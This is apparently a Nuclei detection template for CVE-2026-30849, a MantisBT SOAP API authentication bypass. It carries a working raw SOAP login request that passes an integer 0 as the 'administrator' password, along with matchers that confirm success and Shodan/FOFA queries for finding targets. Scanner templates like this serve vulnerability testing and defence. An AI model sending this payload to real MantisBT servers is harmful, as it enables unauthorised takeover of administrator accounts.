id: CVE-2026-30849

info:
  name: MantisBT < 2.28.1 - SOAP API Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.
  impact: |
    Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.
  remediation: |
    Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30849
    - https://github.com/mantisbt/mantisbt/security/advisories/GHSA-phrq-pc6r-f6gh
    - https://mantisbt.org/bugs/view.php?id=36902
  classification:
    cve-id: CVE-2026-30849
    epss-score: 0.02351
    epss-percentile: 0.83585
    cwe-id: CWE-843
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  metadata:
    verified: true
    max-request: 1
    vendor: mantisbt
    product: mantisbt
    shodan-query: http.title:"MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2026,mantisbt,soap,auth-bypass,type-confusion,mysql,unauth

http:
  - raw:
      - |
        POST /api/soap/mantisconnect.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_login"

        <?xml version="1.0" encoding="UTF-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
          <SOAP-ENV:Body>
            <ns1:mc_login xmlns:ns1="http://futureware.biz/mantisconnect" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
              <username xsi:type="xsd:string">administrator</username>
              <password xsi:type="xsd:int">0</password>
            </ns1:mc_login>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "mc_loginResponse", "access_level")'
        condition: and
# digest: 4b0a00483046022100ce7272529cb8b93f77c432194465c6a601b923c15811277279411472e819f948022100f227b94e926edf50a03ba1a0b258dee24fea8c700d3c35557d98f938279b8556:922c64590222798bb761d5b6d8e72950